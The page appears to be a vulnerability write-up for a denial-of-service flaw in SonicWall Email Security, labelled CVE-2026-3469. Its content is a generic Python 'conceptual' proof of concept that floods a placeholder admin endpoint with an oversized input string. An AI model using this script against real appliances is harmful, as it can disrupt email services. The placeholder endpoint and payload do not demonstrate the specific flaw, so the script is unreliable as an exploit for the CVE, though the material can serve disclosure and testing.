CVE-2026-3469: SonicWall Email Security DoS漏洞

import requests # This is a conceptual Proof of Concept (PoC) for demonstration purposes only. # It simulates sending a payload that might trigger the input validation issue. TARGET_URL = "https://<target-ip>/admin/endpoint" ADMIN_SESSION_COOKIE = "<valid_admin_cookie>" headers = { "Cookie": f"session={ADMIN_SESSION_COOKIE}", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload designed to trigger improper input validation (e.g., overly long string or special chars) payload = { "input_field": "A" * 10000 + "< malicious_data >" } try: print(f"Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, data=payload, headers=headers, verify=False, timeout=10) print(f"Response Status Code: {response.status_code}") if response.status_code == 500 or response.status_code == 503: print("Potential DoS triggered - Server returned error.") else: print("Request completed, check device status manually.") except Exception as e: print(f"Request failed or connection timed out (potential DoS): {e}")